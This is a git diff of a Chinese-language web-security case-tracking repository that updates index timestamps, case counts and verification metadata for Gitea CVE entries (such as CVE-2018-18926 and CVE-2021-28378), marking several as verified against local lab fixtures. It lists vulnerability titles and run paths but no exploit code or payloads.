最近渲染时间: `2026-03-17T12:57:12+00:00` +- 最近渲染时间: `2026-03-18T01:29:34+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/rails/INDEX.md b/07-framework-security/frameworks/rails/INDEX.md index 0e4b9f1b..e3dfd5da 100644 --- a/07-framework-security/frameworks/rails/INDEX.md +++ b/07-framework-security/frameworks/rails/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/react/INDEX.md b/07-framework-security/frameworks/react/INDEX.md index 23ae08e0..3505c204 100644 --- a/07-framework-security/frameworks/react/INDEX.md +++ b/07-framework-security/frameworks/react/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-boot/INDEX.md b/07-framework-security/frameworks/spring-boot/INDEX.md index 8acfd89c..e35a1687 100644 --- a/07-framework-security/frameworks/spring-boot/INDEX.md +++ b/07-framework-security/frameworks/spring-boot/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-framework/INDEX.md b/07-framework-security/frameworks/spring-framework/INDEX.md index 31130c74..20698e84 100644 --- a/07-framework-security/frameworks/spring-framework/INDEX.md +++ b/07-framework-security/frameworks/spring-framework/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/spring-security/INDEX.md b/07-framework-security/frameworks/spring-security/INDEX.md index f780ae34..f53b265f 100644 --- a/07-framework-security/frameworks/spring-security/INDEX.md +++ b/07-framework-security/frameworks/spring-security/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/sveltekit/INDEX.md b/07-framework-security/frameworks/sveltekit/INDEX.md index 1892777a..5693e19e 100644 --- a/07-framework-security/frameworks/sveltekit/INDEX.md +++ b/07-framework-security/frameworks/sveltekit/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/symfony/INDEX.md b/07-framework-security/frameworks/symfony/INDEX.md index 0b5ea2ae..5af95779 100644 --- a/07-framework-security/frameworks/symfony/INDEX.md +++ b/07-framework-security/frameworks/symfony/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/undici/INDEX.md b/07-framework-security/frameworks/undici/INDEX.md index c3b6b293..07e133b9 100644 --- a/07-framework-security/frameworks/undici/INDEX.md +++ b/07-framework-security/frameworks/undici/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `14` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vite/INDEX.md b/07-framework-security/frameworks/vite/INDEX.md index e53f2530..acd413c7 100644 --- a/07-framework-security/frameworks/vite/INDEX.md +++ b/07-framework-security/frameworks/vite/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `12` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vue/INDEX.md b/07-framework-security/frameworks/vue/INDEX.md index 1633081e..e06e17eb 100644 --- a/07-framework-security/frameworks/vue/INDEX.md +++ b/07-framework-security/frameworks/vue/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:12+00:00` +- 最近渲染时间: `2026-03-18T01:29:34+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/webpack/INDEX.md b/07-framework-security/frameworks/webpack/INDEX.md index 621103d6..3c9971c2 100644 --- a/07-framework-security/frameworks/webpack/INDEX.md +++ b/07-framework-security/frameworks/webpack/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/werkzeug/INDEX.md b/07-framework-security/frameworks/werkzeug/INDEX.md index a305fe24..87ee8b5d 100644 --- a/07-framework-security/frameworks/werkzeug/INDEX.md +++ b/07-framework-security/frameworks/werkzeug/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/adminer/INDEX.md b/07-framework-security/platforms/adminer/INDEX.md index 07035624..f1e0c546 100644 --- a/07-framework-security/platforms/adminer/INDEX.md +++ b/07-framework-security/platforms/adminer/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/gitea/INDEX.md b/07-framework-security/platforms/gitea/INDEX.md index fbe33bff..b884c31a 100644 --- a/07-framework-security/platforms/gitea/INDEX.md +++ b/07-framework-security/platforms/gitea/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `gitea` - 分类: `platforms` - 覆盖策略: `rolling-24m` -- 总案例数: `37` -- 近 30 天新增/更新: `37` -- 重点 Markdown 案例数: `37` +- 总案例数: `30` +- 近 30 天新增/更新: `30` +- 重点 Markdown 案例数: `30` - 已实证(真实版本): `0` - 已实证(synthetic): `0` -- 阻塞数: `1` -- 待人工/缺浏览器证据: `36` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 阻塞数: `0` +- 待人工/缺浏览器证据: `30` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 @@ -42,8 +42,6 @@ | Gitea does not properly validate repository ownership when linking attachments to releases in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:55.747880Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2026-20912.md) | | Gitea's /api/v1/user endpoint has different responses for failed authentication depending on whether a username exists in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:49.801641Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-69413.md) | | Gitea mishandles authorization for deletion of releases in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:49.095775Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68938.md) | -| Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea | `unknown` | `generated` | `blocked-artifact` | `real` | `official` | `2026-03-03T04:57:48.777563Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68939.md) | -| Gitea doesn't adequately enforce branch deletion permissions after merging a pull request. in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:50.087298Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md) | | Gitea mishandles access to a private resource upon receiving an API token with scope limited to public resources in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:50.339953Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68941.md) | | Gitea allows XSS because the search input box (for creating tags and branches) is v-html instead of v-text in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:49.781753Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68942.md) | | Gitea inadvertently discloses users' login times by allowing (for example) the lastlogintime explore/users sort order in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:49.213758Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68943.md) | @@ -52,9 +50,6 @@ | Gitea vulnerable to Cross-site Scripting in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:57:50.473303Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68946.md) | | Gitea vulnerable to Argument Injection in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:41.181693Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-42968.md) | | Improper Privilege Management in Gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:33.136607Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2021-45330.md) | -| Gitea Remote Code Execution (RCE) in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:20.787387Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md) | -| Denial of Service in Gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:17.939867Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md) | -| Cross-site Scripting in Gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:18.307544Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md) | | Gitea Missing Authorization vulnerability in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:50:45.472605Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-0905.md) | | Stored Cross-site Scripting in gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:50:45.577318Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-1928.md) | | Arbitrary file deletion in gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:50:19.647131Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-27313.md) | @@ -63,8 +58,6 @@ | Reuse of one time passwords allowed in Gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:07.604662Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2021-45331.md) | | Capture-replay in Gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:52:07.840324Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2021-45327.md) | | Gitea erroneous repo clones in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:54:07.076900Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-38795.md) | -| Gogs and Gitea SSRF Vulnerability in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:54:04.686907Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md) | -| Gitea XSS Vulnerability in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:53:57.848904Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md) | | Gitea allowed assignment of private issues in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:55:04.505871Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-38183.md) | | Buffer Overflow in gitea in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:55:15.307648Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2021-3382.md) | | Gitea Open Redirect in code.gitea.io/gitea | `unknown` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-03T04:51:49.844240Z` | [link](/Users/x/websafe/07-framework-security/platforms/gitea/cases/gitea-cve-2022-1058.md) | diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md index 2afba50f..37c0c109 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:54:04.686907Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2018-15192-20260318012749" target_types: - "lab-local" - "lab-public" @@ -41,12 +41,12 @@ primary_source: "https://github.com/advisories/GHSA-fg3x-rwq9-74cw" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2018-15192-20260318012749` - 浏览器证据: `missing` -- Run Bundle: `-` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749` ## 事件层 diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md index 4c53c119..15192c4e 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:52:20.787387Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2018-18926-20260318012526" target_types: - "lab-local" - "lab-public" @@ -38,12 +38,12 @@ primary_source: "https://github.com/advisories/GHSA-hf6f-jq25-8gq9" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` -- 浏览器证据: `missing` -- Run Bundle: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2018-18926-20260318012526` +- 浏览器证据: `present` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526` ## 事件层 diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md index 8ebddbdb..991b74a9 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:53:57.848904Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2019-1010261-20260318012624" target_types: - "lab-local" - "lab-public" @@ -39,12 +39,12 @@ primary_source: "https://github.com/advisories/GHSA-5rh7-6gfj-mc87" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` -- 浏览器证据: `missing` -- Run Bundle: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2019-1010261-20260318012624` +- 浏览器证据: `present` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624` ## 事件层 diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md index 1a22bdfa..66533196 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:52:17.939867Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2020-13246-20260318012806" target_types: - "lab-local" - "lab-public" @@ -39,12 +39,12 @@ primary_source: "https://github.com/advisories/GHSA-g2qx-6ghw-67hm" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` -- 浏览器证据: `missing` -- Run Bundle: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2020-13246-20260318012806` +- 浏览器证据: `present` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806` ## 事件层 diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md index e41687e2..c578f4fd 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:52:18.307544Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2021-28378-20260318012813" target_types: - "lab-local" - "lab-public" @@ -40,12 +40,12 @@ primary_source: "https://github.com/advisories/GHSA-g95p-88p4-76cm" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` -- 浏览器证据: `missing` -- Run Bundle: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2021-28378-20260318012813` +- 浏览器证据: `present` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813` ## 事件层 diff --git a/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md b/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md index 7b773d3e..5f453628 100644 --- a/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md +++ b/07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md @@ -8,10 +8,10 @@ updated_date: "2026-03-03T04:57:50.087298Z" severity: "unknown" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "gitea-gitea--CVE-2025-68940-20260318012708" target_types: - "lab-local" - "lab-public" @@ -39,12 +39,12 @@ primary_source: "https://github.com/advisories/GHSA-rrcw-5rjv-vj26" ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `gitea-gitea--CVE-2025-68940-20260318012708` - 浏览器证据: `missing` -- Run Bundle: `-` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708` ## 事件层 diff --git a/07-framework-security/platforms/gitlab-ce/INDEX.md b/07-framework-security/platforms/gitlab-ce/INDEX.md index d4103dd2..bad74c49 100644 --- a/07-framework-security/platforms/gitlab-ce/INDEX.md +++ b/07-framework-security/platforms/gitlab-ce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/grafana/INDEX.md b/07-framework-security/platforms/grafana/INDEX.md index 8ff2ce66..a5cb3ddc 100644 --- a/07-framework-security/platforms/grafana/INDEX.md +++ b/07-framework-security/platforms/grafana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/jenkins/INDEX.md b/07-framework-security/platforms/jenkins/INDEX.md index 69df0645..3f624547 100644 --- a/07-framework-security/platforms/jenkins/INDEX.md +++ b/07-framework-security/platforms/jenkins/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/kibana/INDEX.md b/07-framework-security/platforms/kibana/INDEX.md index f9bed3e5..e640e59d 100644 --- a/07-framework-security/platforms/kibana/INDEX.md +++ b/07-framework-security/platforms/kibana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/mattermost/INDEX.md b/07-framework-security/platforms/mattermost/INDEX.md index b399b152..e3e36b80 100644 --- a/07-framework-security/platforms/mattermost/INDEX.md +++ b/07-framework-security/platforms/mattermost/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/phpmyadmin/INDEX.md b/07-framework-security/platforms/phpmyadmin/INDEX.md index c205a603..91497b95 100644 --- a/07-framework-security/platforms/phpmyadmin/INDEX.md +++ b/07-framework-security/platforms/phpmyadmin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/redmine/INDEX.md b/07-framework-security/platforms/redmine/INDEX.md index 2c6244ff..4511b552 100644 --- a/07-framework-security/platforms/redmine/INDEX.md +++ b/07-framework-security/platforms/redmine/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:16+00:00` +- 最近渲染时间: `2026-03-18T01:29:38+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-httpd/INDEX.md b/07-framework-security/servers/apache-httpd/INDEX.md index b79fe8ba..66262dec 100644 --- a/07-framework-security/servers/apache-httpd/INDEX.md +++ b/07-framework-security/servers/apache-httpd/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-tomcat/INDEX.md b/07-framework-security/servers/apache-tomcat/INDEX.md index 92833bba..4e64e0be 100644 --- a/07-framework-security/servers/apache-tomcat/INDEX.md +++ b/07-framework-security/servers/apache-tomcat/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/servers/caddy/INDEX.md b/07-framework-security/servers/caddy/INDEX.md index bf25e96a..56c8ece0 100644 --- a/07-framework-security/servers/caddy/INDEX.md +++ b/07-framework-security/servers/caddy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/servers/haproxy/INDEX.md b/07-framework-security/servers/haproxy/INDEX.md index 4388ac83..b4985c4c 100644 --- a/07-framework-security/servers/haproxy/INDEX.md +++ b/07-framework-security/servers/haproxy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/servers/nginx/INDEX.md b/07-framework-security/servers/nginx/INDEX.md index 4af4760d..b95b7c87 100644 --- a/07-framework-security/servers/nginx/INDEX.md +++ b/07-framework-security/servers/nginx/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/servers/traefik/INDEX.md b/07-framework-security/servers/traefik/INDEX.md index 3da77fca..c64c6f1f 100644 --- a/07-framework-security/servers/traefik/INDEX.md +++ b/07-framework-security/servers/traefik/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/08-threat-intel/generated/coverage-matrix.md b/08-threat-intel/generated/coverage-matrix.md index 3f495582..bdabd2bc 100644 --- a/08-threat-intel/generated/coverage-matrix.md +++ b/08-threat-intel/generated/coverage-matrix.md @@ -21,7 +21,7 @@ | Flask | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Ghost | `cms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Gin | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | -| Gitea | `platforms` | `rolling-24m` | `-` | `yes` | `37` | `37` | `3` | `seeded` | `real:0/synthetic:0/blocked:1` | `0` | `1` | `0` | `2026-03-03T04:57:57.697708Z` | +| Gitea | `platforms` | `rolling-24m` | `-` | `yes` | `30` | `30` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-03T04:57:57.697708Z` | | GitLab CE | `platforms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Grafana | `platforms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Hapi | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | 